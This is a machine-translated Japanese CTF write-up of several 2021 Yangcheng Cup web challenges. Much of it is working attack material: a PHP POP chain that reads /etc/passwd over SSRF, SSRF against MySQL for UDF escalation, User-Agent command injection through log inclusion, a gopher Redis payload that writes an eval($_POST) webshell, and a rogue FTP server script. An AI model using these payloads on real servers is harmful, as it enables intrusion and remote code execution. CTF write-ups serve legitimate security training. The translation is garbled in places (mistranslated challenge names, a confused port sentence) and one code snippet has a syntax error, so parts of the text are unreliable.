2021年ヤンチェンカップ(部分ウェブ)

nosql

CockpitCMSNoSQLインジェクションの脆弱性
リファレンス記事
https://www.anquanke.com/post/id/241113
ここに画像の説明を挿入

ここに画像の説明を挿入

ここに画像の説明を挿入

ここに画像の説明を挿入

ここに画像の説明を挿入
ここに画像の説明を挿入
ここに画像の説明を挿入

easycurl

背景をスキャンして、管理者パスワードR1nd0_1s_n3k0を含むアプリファイルを見つけます。
ログイン後、admin.phpと入力して、逆シリアル化を実行できることを確認できます。タイトルは、common.php.bakに多数のクラスがあることを示しています。
..リクエスト機能にssrfの脆弱性があります
ここに画像の説明を挿入

ポップチェーンは以下の通りです

<?php
class User
{
    
    
    public $username;
    public $session_id='1';

    public function __construct($username)
    {
    
    
        $this->username=$username;
    }
}
class cache_parser{
    
    
    public $user;
    public $user_cache='aaa';
    public $default_handler;
    public $logger;

    public function __construct($cache_parser,$url)
    {
    
    
        $this->user = new User('aaa');
        $this->logger = $cache_parser;
        $this->default_handler = new file_request($url);
    }


}
class file_request{
    
    
    public $url;
    private $content;
    public function __construct($url)
    {
    
    
        $this->url=$url;
    }
}
$a=new cache_parser('','file:///etc/passwd')
$b = new cache_parser($a,'');
$c = new User($b);
echo urlencode(serialize($c));

ファイルの書き込みに使用されたcurlは
、readflagがルートディレクトリに存在することを検出できますが、実行する権限がないため、ssrfを使用してmysqlをヒットし、udf特権をエスカレートできます。
gopherusツールを使用してselectを実行し、悪意のあるファイルを書き込み、ファイルの内容を参照しますhttps://www.sqlsec.com/tools/udf.html
ここに画像の説明を挿入

ここに画像の説明を挿入
ここに画像の説明を挿入
フラグを正常に読み取りました。

ここに画像の説明を挿入

たった4

/ proc / self / fd / 8を直接インクルードしてログを表示し、UAヘッダーのcat /f*に文を書き込んでフラグを取得します。

クロスザサイド

laravel debug rce
リファレンス記事https://whoamianony.top/2021/01/15/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Laravel/Laravel%20Debug%20mode%20RCE%EF%BC%88CVE-2021-3129%EF%BC%89%E5%88%A9%E7%94%A8%E5%A4%8D%E7%8E%B0/
ここに画像の説明を挿入
上記のデータを送信すると、抜け穴があることがわかりました。
pharを生成してからデシリアライズをトリガーしようとしましたが、それでも機能しません。記事にftp ssrfを使用したgasetcigへの攻撃もあります。
ここに画像の説明を挿入
ここに画像の説明を挿入
テストしたところ、ポート9000が開かれていませんでしたが、ポートに置き換えられた場合redisの3306、遅延がありました。推測では、redisサービスがオンになっています。
最初にgopherusを使用して、次のようにペイロード
スクリプトを生成します

import socket
from urllib.parse import unquote
host = '0.0.0.0'
port = 1234
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
conn,address = sk.accept()
payload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%247%0D%0Aabc.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A")
payload = payload.encode('utf-8')
conn.send(payload)
conn.close()
import socket
def get(conn):
    conn.send("220 (vsFTPd 3.0.3)\n")
    print conn.recv(200)
    conn.send("331 Please specify the password.\n")
    print conn.recv(200)
    conn.send("230 Login successful.\n")
    print conn.recv(200)
    conn.send("200 Switching to Binary mode.\n")
    print conn.recv(200)
    conn.send("213 3\n")
    print conn.recv(200)
    conn.send("229 Entering Extended Passive Mode (|||1234|)\n")
    print conn.recv(200)
    conn.send("150 Opening BINARY mode data connection for /test/test.php (3 bytes).\n")
    conn.send("226 Transfer complete.\n")
    print conn.recv(200)
    conn.send("221 Goodbye.\n")
    conn.close()
def put(conn):
    conn.send("220 (vsFTPd 3.0.3)\n");
    print conn.recv(20)
    conn.send("331 Please specify the password.\n");
    print conn.recv(20)
    conn.send("230 Login successful.\n")
    print conn.recv(20)
    conn.send("200 Switching to Binary mode.\n");
    print conn.recv(20)
    conn.send("550 Could not get file size.\n");
    print conn.recv(20)
    conn.send("227 127,0,0,1,24,245\n")
    print conn.recv(20)
    conn.send("227 127,0,0,1,24,235\n")
    print conn.recv(20)
    conn.send("150 Ok to send data.\n")
    conn.send("226 Transfer complete.\n")
    print conn.recv(20)
    conn.send("221 Goodbye.\n");
    conn.close()
host = '0.0.0.0'
port = 4567
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
conn,address = sk.accept()
get(conn)
conn,address=sk.accept()
put(conn)

両方が同時に実行されます
ここに画像の説明を挿入

トロイの木馬ファイルが正常に生成されました

フラグを取得
ここに画像の説明を挿入

おすすめ

転載: blog.csdn.net/miuzzx/article/details/120241507
おすすめ